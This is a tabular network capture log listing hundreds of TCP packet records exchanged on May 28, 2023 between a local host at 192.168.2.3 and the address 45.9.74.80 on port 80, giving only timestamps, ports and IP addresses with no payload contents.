May 28, 2023 10:42:56.288216114 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.288216114 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.288235903 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.288301945 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.288324118 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.288324118 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.288341999 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.288379908 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.288386106 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.288440943 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.288453102 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.288486004 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.288506031 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.288532019 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.288551092 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.288575888 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.288599968 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.288620949 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.288625002 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.288666964 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.288713932 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.288734913 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.288734913 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.288758993 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.288769960 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.288805008 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.288845062 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.288845062 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.288851976 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.288887978 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.288897991 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.288944006 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.288971901 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.288989067 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.289019108 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.289035082 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.289066076 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.289079905 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.289098024 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.289125919 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.289134979 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.289213896 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.289259911 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.289267063 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.289267063 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.289303064 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.289350033 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.289397955 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.289398909 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.289401054 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.289398909 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.289448977 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.289479017 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.289495945 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.289541006 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.289585114 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.289585114 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.289587021 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.289585114 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.289633989 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.289638996 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.289679050 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.289727926 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.289727926 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.289727926 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.289774895 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.289819956 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.289864063 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.289865971 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.289864063 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.289864063 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.289911032 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.289958954 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.289988995 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.289989948 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.289989948 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.290005922 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.290051937 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.290098906 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.290144920 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.290189981 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.290189028 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.290189028 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.290189981 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.290235996 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.290282011 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.290324926 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.290324926 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.290327072 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.290324926 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.290374994 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.290422916 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.290467978 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.290467978 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.290469885 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.290467978 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.290515900 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.290563107 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.290607929 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.290607929 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.290607929 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.290607929 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.290654898 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.290700912 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.290764093 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.290764093 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.290764093 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.290766954 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.290813923 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.290859938 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.290904045 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.290904999 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.290904999 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.290908098 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.290955067 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.290999889 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.291044950 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.291044950 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.291044950 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.291044950 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.291091919 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.291136980 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.291182995 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.291182995 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.291183949 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.291183949 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.291229010 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.291275024 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.291320086 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.291320086 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.291320086 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.291320086 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.291367054 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.291378021 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.291415930 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.291462898 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.291508913 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.291508913 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.291508913 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.291508913 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.291553974 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.291601896 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.291646957 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.291649103 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.291646957 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.291646957 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.291696072 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.291702986 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.291743994 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.291790009 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.291806936 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.291806936 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.291836977 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.291882992 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.291928053 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.291929007 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.291928053 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.291928053 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.291976929 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.292022943 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.292025089 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.292025089 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.292068958 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.292102098 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.292115927 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.292161942 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.292206049 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.292206049 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.292206049 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.292210102 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.292256117 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.292301893 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.292301893 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.292327881 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.292345047 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.292373896 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.292424917 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.292448044 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.292448044 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.292704105 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.321481943 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.321552992 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.321595907 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.321598053 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.321636915 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.321680069 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.321722984 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.321763992 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.321805000 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.321825027 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.321846962 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.321888924 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.321933985 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.321976900 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.321985006 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.321985006 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.322019100 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.322062016 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.322103977 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.322130919 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.322130919 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.322149038 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.322191000 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.322225094 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.322233915 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.322278023 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.322319031 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.322361946 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.322381020 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.322407961 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.322451115 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.322493076 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.322535992 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.322578907 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.322580099 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.322580099 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.322580099 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.322621107 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.322663069 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.322705984 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.322746992 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.322747946 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.322748899 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.322793007 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.322796106 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.322834969 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.322877884 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.322920084 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.322962046 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.323004961 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.323048115 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.323091030 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.323091984 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.323091984 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.323091984 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.323132992 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.323174953 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.323218107 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.323260069 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.323302984 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.323308945 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.323309898 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.323309898 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.323352098 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.323402882 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.323446989 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.323460102 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.323488951 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.323530912 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.323530912 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.323575020 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.323616982 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.323658943 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.323700905 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.323741913 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.323765993 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.323765993 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.323786020 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.323827028 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.323868990 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.323910952 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.323952913 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.323956013 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.323956013 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.323956966 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.323993921 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.324035883 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.324076891 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.324119091 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.324122906 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.324122906 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.324158907 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.324202061 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.324244022 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.324301004 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.324301004 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.324316978 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.324359894 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.324368000 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.324405909 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.324448109 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.324490070 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.324527025 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.324527025 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.324532032 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.324573040 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.324614048 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.324657917 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.324698925 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.324702978 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.324702978 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.324754953 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.324796915 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.324837923 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.324879885 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.324919939 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.324922085 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.324919939 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.324964046 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.325007915 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.325048923 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.325089931 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.325131893 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.325172901 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.325176001 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.325176001 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.325176001 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.325215101 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.325256109 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.325299025 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.325340986 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.325382948 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.325387001 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.325387001 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.325387955 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.325428009 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.325472116 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.325515032 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.325556993 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.325561047 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.325561047 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.325598955 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.325640917 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.325668097 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.325684071 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.325723886 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.325767040 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.325808048 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.325849056 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.325891018 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.325895071 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.325895071 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.325895071 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.325983047 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.326425076 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.326425076 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.350963116 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.351036072 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.351085901 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.351131916 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.351178885 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.351188898 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.351224899 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.351252079 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.351274967 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.351360083 CEST	80	49727	45.9.74.80	192.168.2.3
May 28, 2023 10:42:56.351397038 CEST	49727	80	192.168.2.3	45.9.74.80
May 28, 2023 10:42:56.351409912 CEST	80	49727	45.9.74.80	192.168.2.3
